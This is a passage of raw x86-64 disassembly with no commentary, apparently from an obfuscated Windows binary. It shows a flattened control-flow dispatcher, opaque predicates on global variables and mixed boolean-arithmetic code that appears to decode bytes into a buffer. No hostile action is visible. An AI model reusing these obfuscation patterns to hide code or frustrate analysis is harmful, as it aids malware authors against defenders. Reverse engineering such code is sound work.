xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140029c50
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 2], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 4]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 4
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x140029df0
cmp edx, 0xd7ca0e99
je 0x140029e0b
cmp edx, 0xf46c509b
je 0x14002a145
cmp edx, 0x6e3793ad
jne 0x140029db0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029db0
cmp edx, 0x88a95f0c
je 0x140029e10
cmp edx, 0x98f8596f
jne 0x140029db0
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029db0
mov edx, r15d
jmp 0x140029db0
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140029db0
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [r10 + 1], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 7]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 7
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x140029f50
cmp edx, 0xd7ca0e99
je 0x140029f6b
cmp edx, 0xf46c509b
je 0x14002a2a5
cmp edx, 0x6e3793ad
jne 0x140029f10
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140029f10
cmp edx, 0x88a95f0c
je 0x140029f70
cmp edx, 0x98f8596f
jne 0x140029f10
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x140029f10
mov edx, r14d
jmp 0x140029f10
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x140029f10
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 2], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 4]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 4
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a0b0
cmp edx, 0xd7ca0e99
je 0x14002a0cb
cmp edx, 0xf46c509b
je 0x14002a405
cmp edx, 0x6e3793ad
jne 0x14002a070
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a070
cmp edx, 0x88a95f0c
je 0x14002a0d0
cmp edx, 0x98f8596f
jne 0x14002a070
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002a070
mov edx, r15d
jmp 0x14002a070
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002a070
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 3], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 5]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 5
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a210
cmp edx, 0xd7ca0e99
je 0x14002a22b
cmp edx, 0xf46c509b
je 0x14002a565
cmp edx, 0x6e3793ad
jne 0x14002a1d0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a1d0
cmp edx, 0x88a95f0c
je 0x14002a230
cmp edx, 0x98f8596f
jne 0x14002a1d0
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002a1d0
mov edx, r14d
jmp 0x14002a1d0
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002a1d0
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [r10 + 2], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 8]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 8
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a370
cmp edx, 0xd7ca0e99
je 0x14002a38b
cmp edx, 0xf46c509b
je 0x14002a576
cmp edx, 0x6e3793ad
jne 0x14002a330
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a330
cmp edx, 0x88a95f0c
je 0x14002a390
cmp edx, 0x98f8596f
jne 0x14002a330
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002a330
mov edx, r14d
jmp 0x14002a330
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002a330
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 3], al
add r11, 4
mov qword [rbp + 0x68], r11
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 5]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 5
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop
cmp edx, 0xd7ca0e98
jle 0x14002a4d0
cmp edx, 0xd7ca0e99
je 0x14002a4eb
cmp edx, 0xf46c509b
je 0x140029499
cmp edx, 0x6e3793ad
jne 0x14002a490
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a490
cmp edx, 0x88a95f0c
je 0x14002a4f0
cmp edx, 0x98f8596f
jne 0x14002a490
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002a490
mov edx, r14d
jmp 0x14002a490
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002a490
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov ecx, 0x6efb8690
jmp 0x1400294c9
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [r10 + 3], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 9]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 9
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete bl
mov r14d, 0x6e3793ad
mov eax, 0xf46c509b
cmove r14d, eax
cmp dword [0x1400610dc], 0xa
cmovl r14d, eax
setge dl
xor bl, dl
mov eax, ebx
xor al, 1
and cl, dl
or cl, al
xor cl, bl
mov r11d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r11d, eax
mov edx, 0x88a95f0c
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a640
cmp edx, 0xd7ca0e99
je 0x14002a65c
cmp edx, 0xf46c509b
je 0x14002a6d6
cmp edx, 0x6e3793ad
jne 0x14002a600
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a600
cmp edx, 0x88a95f0c
je 0x14002a661
cmp edx, 0x98f8596f
jne 0x14002a600
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002a600
mov edx, r11d
jmp 0x14002a600
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rbx, rsi
mov rdi, rdx
and rdi, rsi
movabs rcx, 0x4142489c00900084
or rdi, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rdi
mov rdi, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rdi, rsi
xor rax, rcx
and rax, rdi
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rbx
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002a600
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 4], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xa]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xa
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a760
cmp edx, 0xd7ca0e99
je 0x14002a77c
cmp edx, 0xf46c509b
je 0x14002a7f6
cmp edx, 0x6e3793ad
jne 0x14002a720
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a720
cmp edx, 0x88a95f0c
je 0x14002a781
cmp edx, 0x98f8596f
jne 0x14002a720
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002a720
mov edx, r11d
jmp 0x14002a720
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002a720
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 5], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xb]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xb
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a880
cmp edx, 0xd7ca0e99
je 0x14002a89c
cmp edx, 0xf46c509b
je 0x14002a916
cmp edx, 0x6e3793ad
jne 0x14002a840
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a840
cmp edx, 0x88a95f0c
je 0x14002a8a1
cmp edx, 0x98f8596f
jne 0x14002a840
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002a840
mov edx, r11d
jmp 0x14002a840
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002a840
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 6], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xc]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xc
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002a9a0
cmp edx, 0xd7ca0e99
je 0x14002a9bc
cmp edx, 0xf46c509b
je 0x14002aa36
cmp edx, 0x6e3793ad
jne 0x14002a960
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002a960
cmp edx, 0x88a95f0c
je 0x14002a9c1
cmp edx, 0x98f8596f
jne 0x14002a960
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002a960
mov edx, r11d
jmp 0x14002a960
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002a960
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 7], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xd]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xd
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002aac0
cmp edx, 0xd7ca0e99
je 0x14002aadc
cmp edx, 0xf46c509b
je 0x14002ab56
cmp edx, 0x6e3793ad
jne 0x14002aa80
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002aa80
cmp edx, 0x88a95f0c
je 0x14002aae1
cmp edx, 0x98f8596f
jne 0x14002aa80
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002aa80
mov edx, r11d
jmp 0x14002aa80
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002aa80
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 8], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 0xe]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 0xe
mov qword [rbp + 0x78], rax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002abe0
cmp edx, 0xd7ca0e99
je 0x14002abfc
cmp edx, 0xf46c509b
je 0x14002ac76
cmp edx, 0x6e3793ad
jne 0x14002aba0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002aba0
cmp edx, 0x88a95f0c
je 0x14002ac01
cmp edx, 0x98f8596f
jne 0x14002aba0
mov r15, qword [rbp + 0x80]
mov edx, r14d
jmp 0x14002aba0
mov edx, r11d
jmp 0x14002aba0
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rdi, rax
movabs rsi, 0x8e18b4232d0bcb7b
xor rdi, rsi
mov rbx, rdx
and rbx, rsi
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs rcx, 0x71e74bdcd2f43484
and rdx, rcx
xor rdx, rbx
mov rbx, rdx
movabs rsi, 0xcf5afcbf2d9bcbff
xor rbx, rsi
xor rax, rcx
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rdi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002aba0
mov byte [rbp + 0x10], r15b
mov al, byte [rbp + 0x10]
mov byte [r10 + 9], al
add r10, 0xa
mov rax, qword [rbp + 0x20]
add rax, 0x18
mov qword [rbp + 0x40], rax
mov ecx, 0x1e0abf82
jmp 0x1400294c9
cmp ecx, 0x8d20189d
jne 0x1400294c9
mov eax, 0xf57213ea
nop dword [rax]
cmp eax, 0xdc96a287
jle 0x14002ad10
cmp eax, 0xdc96a288
je 0x14002b389
cmp eax, 0x635d1cb0
je 0x14002b9c4
cmp eax, 0xf57213ea
jne 0x14002acb0
mov eax, dword [0x140061120]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd52b35ff
mov ecx, 0xdc96a288
cmovne eax, ecx
cmp dword [0x140061124], 0xa
mov ecx, 0xd52b35ff
cmovl eax, ecx
jmp 0x14002acb0
cmp eax, 0xb9703d02
je 0x14002e6ae
cmp eax, 0xd52b35ff
jne 0x14002acb0
lea rax, [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov eax, 0xe356b8b
jmp 0x14002ad5d
mov rax, qword [rbp + 0x68]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d5a2298
mov ecx, 0x200d8dcf
nop
cmove eax, ecx
cmp dword [0x14006112c], 0xa
cmovl eax, ecx
cmp eax, 0xd751ea43
jle 0x14002adc0
cmp eax, 0x200d8dce
jle 0x14002ae30
cmp eax, 0x4936f194
jg 0x14002aec2
cmp eax, 0x3877e46a
jg 0x14002b10a
cmp eax, 0x200d8dcf
je 0x14002b1ef
cmp eax, 0x2201b407
jne 0x14002ad5d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0xb2f22ac1
jmp 0x14002ad50
cmp eax, 0x9673c738
jg 0x14002ae70
cmp eax, 0x90066ffc
jle 0x14002aeed
cmp eax, 0x947eb02b
jg 0x14002b13e
cmp eax, 0x90066ffd
je 0x14002b22e
cmp eax, 0x92581a76
jne 0x14002ad5d
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x48]
add rax, r8
mov qword [rbp + 0x50], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x4e312845
jmp 0x14002ad50
cmp eax, 0x9fed345
jle 0x14002af20
cmp eax, 0xf7eef01
jg 0x14002b172
cmp eax, 0x9fed346
je 0x14002b240
cmp eax, 0xe356b8b
jne 0x14002ad5d
mov rax, qword [rbp + 0x68]
mov eax, 0x2201b407
jmp 0x14002ad5d
cmp eax, 0xb6e6802e
jle 0x14002b0c3
cmp eax, 0xc795721d
jg 0x14002b1a6
cmp eax, 0xb6e6802f
je 0x14002b24a
cmp eax, 0xc3aa39c2
jne 0x14002ad5d
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xfa2790d7
jmp 0x14002ad50
cmp eax, 0x4e312844
jle 0x14002b1da
cmp eax, 0x4e312845
je 0x14002b258
cmp eax, 0x651d701c
jne 0x14002ad5d
mov eax, 0x38fd6d49
jmp 0x14002ad5d
cmp eax, 0x84ad6978
je 0x14002ad31
cmp eax, 0x86285f42
je 0x14002b262
cmp eax, 0x8667555e
jne 0x14002ad5d
add qword [rbp + 0x48], 1
mov eax, 0x38fd6d49
jmp 0x14002ad5d
cmp eax, 0xd751ea44
je 0x14002b26c
cmp eax, 0xfa2790d7
je 0x14002b282
cmp eax, 0x76cd170
jne 0x14002ad5d
mov rax, qword [rbp + 0x50]
movzx r10d, byte [rax]
mov r11, qword [rbp + 0x38]
movabs rax, 0x6e88d0e66e5420d7
add r11, rax
mov eax, dword [0x140061130]
mov ecx, dword [0x140061134]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x10]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x20]
or cl, al
mov eax, 0x2ab0b29e
mov ecx, 0x5b16eb83
cmovne eax, ecx
mov edi, 0x2ab0b29e
mov ecx, 0x3bbaafb3
cmovne edi, ecx
mov esi, 0xf08a8ee8
mov ecx, 0x795191f6
cmovne esi, ecx
mov ebx, 0x2b701f4d
jmp 0x14002afc0
mov ebx, 0x3bbaafb3
nop word cs:[rax + rax]
nop
mov edx, ebx
cmp ebx, 0x3507be68
jle 0x14002aff0
cmp edx, 0x5b1975e1
jg 0x14002b010
mov ebx, eax
cmp edx, 0x3bbaafb3
je 0x14002afc0
cmp edx, 0x5b16eb83
jne 0x14002b077
mov ebx, 0x3507be69
jmp 0x14002afc0
cmp edx, 0x2ab0b29d
jg 0x14002b030
cmp edx, 0xf08a8ee8
je 0x14002b06d
mov ebx, edx
cmp edx, 0x2b8ed5e
jne 0x14002afc0
mov ebx, edi
jmp 0x14002afc0
mov ebx, esi
cmp edx, 0x5b1975e2
je 0x14002afc0
mov ebx, edx
cmp edx, 0x795191f6
jne 0x14002afc0
mov ebx, 0x2b8ed5e
jmp 0x14002afc0
cmp edx, 0x2ab0b29e
je 0x14002afb0
mov ebx, edx
cmp edx, 0x2b701f4d
jne 0x14002afc0
movzx edx, byte [rbp + 0x10]
cmp byte [rbp + 0x20], 0
mov ecx, 0x5b1975e2
mov ebx, 0x5b1975e2
jne 0x14002b063
mov ebx, 0xf08a8ee8
test dl, dl
cmovne ebx, ecx
jmp 0x14002afc0
mov ebx, 0x5b1975e2
jmp 0x14002afc0
mov ebx, edx
cmp edx, 0x3507be69
jne 0x14002afc0
mov qword [rbp + 0x80], r11
mov qword [rbp + 0x78], r10
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
add ecx, eax
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
and edx, eax
not edx
lea eax, [rcx + rdx*2]
add al, 0x21
mov rcx, qword [rbp + 0x48]
mov byte [r8 + rcx], al
mov eax, 0x8667555e
jmp 0x14002ad5d
cmp eax, 0x9673c739
je 0x14002b28c
cmp eax, 0x9dca9d12
je 0x14002b29a
cmp eax, 0xb2f22ac1
jne 0x14002ad5d
mov qword [rbp + 0x48], 0
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0x651d701c
jmp 0x14002ad50
cmp eax, 0x3877e46b
je 0x14002b2ca
cmp eax, 0x38fd6d49
jne 0x14002ad5d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xc3aa39c2
jmp 0x14002ad50
cmp eax, 0x947eb02c
je 0x14002b311
cmp eax, 0x95d3daa1
jne 0x14002ad5d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc795721e
mov ecx, 0x3877e46b
jmp 0x14002ad50
cmp eax, 0xf7eef02
je 0x14002b323
cmp eax, 0x16df8248
jne 0x14002ad5d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86285f42
mov ecx, 0x9dca9d12
jmp 0x14002ad50
cmp eax, 0xc795721e
je 0x14002b32d
cmp eax, 0xcb47d19f
jne 0x14002ad5d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x92581a76
jmp 0x14002ad50
cmp eax, 0x4d5a2298
jne 0x14002b33b
